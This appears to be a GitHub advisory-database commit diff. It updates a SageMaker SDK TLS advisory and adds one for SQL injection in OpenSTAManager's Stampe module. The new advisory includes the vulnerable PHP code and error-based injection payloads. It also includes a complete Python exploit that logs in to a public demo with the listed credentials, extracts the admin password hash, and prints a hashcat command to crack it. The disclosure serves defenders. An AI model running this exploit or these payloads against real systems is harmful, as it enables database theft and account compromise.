Skip to content

Commit 1125320

Browse files
1 parent 27914ec commit 1125320

3 files changed

Lines changed: 79 additions & 2 deletions

File tree

advisories/github-reviewed/2026/02/GHSA-62rc-f4v9-h543/GHSA-62rc-f4v9-h543.json

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-62rc-f4v9-h543",
4-
"modified": "2026-02-03T16:10:16Z",
4+
"modified": "2026-02-03T19:01:03Z",
55
"published": "2026-02-02T23:24:50Z",
66
"aliases": [
77
"CVE-2026-1778"
88
],
99
"summary": "SageMaker Python SDK has Insecure TLS Configuration",
1010
"details": "### Summary\nSageMaker Python SDK is an open source library for training and deploying machine learning models on Amazon SageMaker. An issue where SSL certificate verification was globally disabled in the Triton Python backend has been found.\n\n### Impact\nArbitrary Code Execution: Disabling SSL verification allows third parties to intercept HTTPS traffic and replace models or dependencies with inappropriate versions. This could lead to remote code execution in the Triton container.\n\n### Impacted versions\n\n- SageMaker Python SDK v3 < v3.1.1\n- SageMaker Python SDK v2 < v2.256.0\n\n### Patches\nThis issue has been addressed in SageMaker Python SDK version [v3.1.1](https://github.com/aws/sagemaker-python-sdk/tree/1ab6d30401946e92fdbea18497675681649e0153) and [v2.256.0](https://github.com/aws/sagemaker-python-sdk/tree/a140cfcd12abfee10254cb4dea3bb10758e4321c). It is recommended to upgrade to the latest version immediately and ensure any forked or derivative code is patched to incorporate the new fixes.\n\n### Workarounds\nCustomers using self-signed certificates for internal model downloads should add their private Certificate Authority (CA) certificate to the container image rather than relying on the SDK’s previous insecure configuration. This opt-in approach maintains security while accommodating internal trusted domains.\n\n### References\nIf there are any questions or comments about this advisory, contact AWS Security via the [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"
15+
},
1216
{
1317
"type": "CVSS_V4",
1418
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
@@ -82,6 +86,10 @@
8286
{
8387
"type": "WEB",
8488
"url": "https://github.com/aws/sagemaker-python-sdk/releases/tag/v2.256.0"
89+
},
90+
{
91+
"type": "WEB",
92+
"url": "https://github.com/aws/sagemaker-python-sdk/releases/tag/v3.1.1"
8593
}
8694
],
8795
"database_specific": {
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-qx9p-w3vj-q24q",
4+
"modified": "2026-02-03T19:01:46Z",
5+
"published": "2026-02-03T19:01:46Z",
6+
"aliases": [
7+
"CVE-2025-69215"
8+
],
9+
"summary": "OpenSTAManager has an SQL Injection in the Stampe Module",
10+
"details": "## Vulnerability Details\n\n### Location\n- **File:** `modules/stampe/actions.php`\n- **Line:** 26\n- **Vulnerable Code:**\n```php\ncase 'update':\n if (!empty(intval(post('predefined'))) && !empty(post('module'))) {\n $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));\n // ↑ Direct concatenation without prepare() sanitization\n }\n```\n\n### Root Cause\n\nThe `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.\n\n**Vulnerable Pattern:**\n```php\n// Line 25: intval() protects predefined, but module is not sanitized!\nif (!empty(intval(post('predefined'))) && !empty(post('module'))) {\n // Line 26: Direct concatenation - VULNERABLE\n $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));\n}\n```\n\n## Exploitation\n### Vulnerable Endpoint\n```\nPOST /modules/stampe/actions.php\n```\n\n### Required Parameters\n```\nop=update\nid_record=1\npredefined=1 (must be non-zero after intval())\nmodule=[INJECTION_PAYLOAD]\ntitle=Test\nfilename=test.pdf\n```\n\n### Authentication Requirement\n- Requires valid authenticated session (any user with access to Stampe module)\n- **VERIFIED:** Users with \"Tecnici\" group access can exploit (NOT admin-only!)\n- **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico\n\n### Exploitation Type\n**Error-based SQL Injection** using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions\n\n### Proof of Concept\n\n#### Method 1: EXTRACTVALUE (MySQL 5.1+)\n```python\nPOST /modules/stampe/actions.php\nContent-Type: application/x-www-form-urlencoded\n\nop=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf\n```\n\n**Result:**\n\n<img width=\"2208\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34\" />\n\n**Extracted Data:** MySQL version `8.3.0`\n\n---\n\n#### Method 2: GTID_SUBSET (MySQL 5.6+)\n```python\nmodule=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)\n```\n\n**Result:**\n\n<img width=\"2025\" height=\"903\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8\" />\n\n\n**Extracted Data:** Database name `openstamanager`\n\n---\n\n#### Method 3: UPDATEXML (MySQL 5.1+)\n```python\nmodule=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)\n```\n\n**Result:**\n\n<img width=\"2027\" height=\"897\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43\" />\n\n**Extracted Data:** Database user `demo_osm@web01.osmbusiness.it`\n\n---\n\n### Automated Exploitation\n\n**Full Exploit Script:** `exploit_stampe_sqli.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nSQL Injection Exploit - OpenSTAManager modules/stampe/actions.php\n\nUsage:\n python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico\n python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local\n\"\"\"\n\nimport requests\nimport re\nimport argparse\nimport sys\nfrom html import unescape\nfrom urllib.parse import urljoin\n\nclass StampeSQLiExploit:\n def __init__(self, base_url, username, password, verbose=False):\n self.base_url = base_url.rstrip('/')\n self.username = username\n self.password = password\n self.verbose = verbose\n self.session = requests.Session()\n self.session.headers.update({\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'\n })\n\n def login(self):\n \"\"\"Authenticate with username and password\"\"\"\n login_url = urljoin(self.base_url, '/index.php')\n\n if self.verbose:\n print(f\"[DEBUG] Attempting login to {login_url}\")\n print(f\"[DEBUG] Username: {self.username}\")\n\n # First, get the login page to establish session\n resp = self.session.get(login_url)\n if self.verbose:\n print(f\"[DEBUG] Initial GET status: {resp.status_code}\")\n\n # Send login credentials with op=login parameter (required!)\n login_data = {\n 'username': self.username,\n 'password': self.password,\n 'op': 'login', # Required for OpenSTAManager\n }\n\n resp = self.session.post(login_url, data=login_data, allow_redirects=True)\n\n if self.verbose:\n print(f\"[DEBUG] Login POST status: {resp.status_code}\")\n print(f\"[DEBUG] Cookies: {self.session.cookies.get_dict()}\")\n\n # Check if login was successful\n if 'PHPSESSID' not in self.session.cookies:\n print(\"[-] Login failed: No session cookie received\")\n return False\n\n # Check if we're redirected to dashboard or still on login page\n if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():\n print(\"[-] Login failed: Still on login page\")\n if self.verbose:\n print(f\"[DEBUG] Current URL: {resp.url}\")\n return False\n\n print(f\"[+] Successfully logged in as '{self.username}'\")\n print(f\"[+] Session: {self.session.cookies.get('PHPSESSID')}\")\n return True\n\n def inject(self, sql_query):\n \"\"\"Execute SQL injection payload\"\"\"\n # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)\n payload = f\"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)\"\n\n target_url = urljoin(self.base_url, '/modules/stampe/actions.php')\n\n if self.verbose:\n print(f\"[DEBUG] Target: {target_url}\")\n print(f\"[DEBUG] Payload: {payload}\")\n\n response = self.session.post(\n target_url,\n data={\n \"op\": \"update\",\n \"id_record\": \"1\",\n \"predefined\": \"1\",\n \"module\": payload,\n \"title\": \"Test\",\n \"filename\": \"test.pdf\"\n }\n )\n\n if self.verbose:\n print(f\"[DEBUG] Response status: {response.status_code}\")\n print(f\"[DEBUG] Response length: {len(response.text)}\")\n\n # Unescape HTML entities first\n response_text = unescape(response.text)\n\n # Pattern 1: XPATH syntax error with HTML entities or quotes\n # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039;\n xpath_match = re.search(r\"XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE)\n if xpath_match:\n result = xpath_match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted via XPATH pattern: {result}\")\n return result\n\n # Pattern 2: Look in HTML comments (demo puts errors in comments)\n # <!--...XPATH syntax error: '~data~'...-->\n comment_match = re.search(r\"<!--.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?.*?-->\", response_text, re.DOTALL | re.IGNORECASE)\n if comment_match:\n result = comment_match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted from HTML comment: {result}\")\n return result\n\n # Pattern 3: <code> tags\n codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL)\n for code in codes:\n clean = code.strip()\n if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:\n match = re.search(r\"~([^~]+)~\", clean)\n if match:\n result = match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted from <code>: {result}\")\n return result\n\n # Pattern 4: PDOException error format (as shown in user's example)\n # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'\n pdo_match = re.search(r\"PDOException:.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE | re.DOTALL)\n if pdo_match:\n result = pdo_match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted from PDOException: {result}\")\n return result\n\n # Pattern 5: Generic ~...~ markers (last resort)\n markers = re.findall(r'~([^~]{1,100})~', response_text)\n if markers:\n if self.verbose:\n print(f\"[DEBUG] Found generic markers: {markers}\")\n # Filter out HTML/CSS junk\n for marker in markers:\n if marker and len(marker) > 2:\n # Skip common HTML patterns\n if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']):\n if self.verbose:\n print(f\"[DEBUG] Using marker: {marker}\")\n return marker\n\n if self.verbose:\n print(\"[DEBUG] No data extracted from response\")\n # Save response for debugging\n with open('/tmp/stampe_response_debug.html', 'w') as f:\n f.write(response.text)\n print(\"[DEBUG] Response saved to /tmp/stampe_response_debug.html\")\n\n return None\n\n def dump_info(self):\n \"\"\"Dump database information\"\"\"\n queries = [\n (\"Database Version\", \"VERSION()\"),\n (\"Database Name\", \"DATABASE()\"),\n (\"Current User\", \"USER()\"),\n (\"Admin Username\", \"SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Admin Email\", \"SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Admin Password Hash (1-30)\", \"SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Admin Password Hash (31-60)\", \"SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Total Users\", \"SELECT COUNT(*) FROM zz_users\"),\n (\"First Table\", \"SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1\"),\n ]\n\n print(\"=\"*70)\n print(\" EXPLOITING SQL INJECTION - DATA EXTRACTION\")\n print(\"=\"*70)\n print()\n\n results = {}\n for desc, query in queries:\n print(f\"[*] Extracting: {desc}\")\n print(f\" Query: {query}\")\n result = self.inject(query)\n if result:\n print(f\" ✓ Result: {result}\")\n results[desc] = result\n else:\n print(f\" ✗ Failed to extract\")\n print()\n\n return results\n\ndef main():\n parser = argparse.ArgumentParser(\n description='OpenSTAManager Stampe Module SQL Injection Exploit',\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog='''\nExamples:\n # Exploit demo.osmbusiness.it with tecnico user\n python3 %(prog)s -u tecnico -p tecnicotecnico\n\n # Exploit demo with admin credentials\n python3 %(prog)s -u admin -p admin123\n\n # Exploit custom installation with verbose output\n python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v\n '''\n )\n\n parser.add_argument('-u', '--username', required=True,\n help='Username for authentication')\n parser.add_argument('-p', '--password', required=True,\n help='Password for authentication')\n parser.add_argument('--url', default='https://demo.osmbusiness.it',\n help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')\n parser.add_argument('-v', '--verbose', action='store_true',\n help='Enable verbose output for debugging')\n\n args = parser.parse_args()\n\n print(\"╔\" + \"=\"*68 + \"╗\")\n print(\"║ SQL Injection Exploit - OpenSTAManager Stampe Module ║\")\n print(\"║ CVE-PENDING | Authenticated Error-Based SQLi ║\")\n print(\"╚\" + \"=\"*68 + \"╝\")\n print()\n print(f\"[*] Target: {args.url}\")\n print(f\"[*] Username: {args.username}\")\n print()\n\n exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)\n\n # Login first\n if not exploit.login():\n print(\"\\n[-] Authentication failed. Cannot proceed with exploitation.\")\n print(\"[!] Please check:\")\n print(\" 1. Are the credentials correct?\")\n print(\" 2. Is the target URL accessible?\")\n print(\" 3. Is the user account active?\")\n sys.exit(1)\n\n print()\n\n # Extract data\n results = exploit.dump_info()\n\n # Summary\n print(\"=\"*70)\n print(\" EXTRACTION SUMMARY\")\n print(\"=\"*70)\n print()\n\n if results:\n for key, value in results.items():\n print(f\" {key:.<40} {value}\")\n\n # If we got admin password hash, combine it\n if \"Admin Password Hash (1-30)\" in results and \"Admin Password Hash (31-60)\" in results:\n full_hash = results[\"Admin Password Hash (1-30)\"] + results[\"Admin Password Hash (31-60)\"]\n print()\n print(\" \" + \"=\"*66)\n print(f\" Full Admin Password Hash: {full_hash}\")\n print(\" \" + \"=\"*66)\n print()\n print(\" [!] Crack with hashcat:\")\n print(f\" hashcat -m 3200 '{full_hash}' wordlist.txt\")\n else:\n print(\" ✗ No data extracted\")\n if not args.verbose:\n print(\"\\n [!] Try running with -v flag for debugging information\")\n\nif __name__ == \"__main__\":\n main()\n\n```\n\n### Attribution\nReported by Łukasz Rybak",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "devcode-it/openstamanager"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "2.9.8"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/devcode-it/openstamanager"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-89"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-02-03T19:01:46Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)